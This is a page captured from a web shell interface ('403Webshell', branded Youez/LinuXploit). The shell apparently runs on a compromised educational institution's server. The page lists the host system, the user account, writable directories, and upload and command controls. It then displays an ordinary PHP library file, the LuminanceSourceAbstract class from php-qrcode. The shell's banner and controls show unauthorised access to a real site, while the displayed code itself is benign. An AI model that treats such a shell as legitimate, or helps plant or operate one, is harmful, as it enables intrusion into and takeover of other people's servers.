403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.80.151
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/php-qrcode/src/Common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/php-qrcode/src/Common/LuminanceSourceAbstract.php
<?php
/**
 * Class LuminanceSourceAbstract
 *
 * @created      24.01.2021
 * @author       ZXing Authors
 * @author       Ashot Khanamiryan
 * @author       Smiley <[email protected]>
 * @copyright    2021 Smiley
 * @license      Apache-2.0
 */

namespace chillerlan\QRCode\Common;

use chillerlan\QRCode\QROptions;
use chillerlan\QRCode\Decoder\QRCodeDecoderException;
use chillerlan\Settings\SettingsContainerInterface;
use function array_slice, array_splice, file_exists, is_file, is_readable, realpath;

/**
 * The purpose of this class hierarchy is to abstract different bitmap implementations across
 * platforms into a standard interface for requesting greyscale luminance values.
 *
 * @author [email protected] (Daniel Switkin)
 */
abstract class LuminanceSourceAbstract implements LuminanceSourceInterface{

	protected SettingsContainerInterface|QROptions $options;
	protected array $luminances;
	protected int   $width;
	protected int   $height;

	/**
	 *
	 */
	public function __construct(int $width, int $height, SettingsContainerInterface|QROptions $options = new QROptions){
		$this->width   = $width;
		$this->height  = $height;
		$this->options = $options;

		$this->luminances = [];
	}

	/** @inheritDoc */
	public function getLuminances():array{
		return $this->luminances;
	}

	/** @inheritDoc */
	public function getWidth():int{
		return $this->width;
	}

	/** @inheritDoc */
	public function getHeight():int{
		return $this->height;
	}

	/** @inheritDoc */
	public function getRow(int $y):array{

		if($y < 0 || $y >= $this->getHeight()){
			throw new QRCodeDecoderException('Requested row is outside the image: '.$y);
		}

		$arr = [];

		array_splice($arr, 0, $this->width, array_slice($this->luminances, ($y * $this->width), $this->width));

		return $arr;
	}

	/**
	 *
	 */
	protected function setLuminancePixel(int $r, int $g, int $b):void{
		$this->luminances[] = ($r === $g && $g === $b)
			// Image is already greyscale, so pick any channel.
			? $r // (($r + 128) % 256) - 128;
			// Calculate luminance cheaply, favoring green.
			: (($r + 2 * $g + $b) / 4); // (((($r + 2 * $g + $b) / 4) + 128) % 256) - 128;
	}

	/**
	 * @throws \chillerlan\QRCode\Decoder\QRCodeDecoderException
	 */
	protected static function checkFile(string $path):string{
		$path = trim($path);

		if(!file_exists($path) || !is_file($path) || !is_readable($path)){
			throw new QRCodeDecoderException('invalid file: '.$path);
		}

		$realpath = realpath($path);

		if($realpath === false){
			throw new QRCodeDecoderException('unable to resolve path: '.$path);
		}

		return $realpath;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit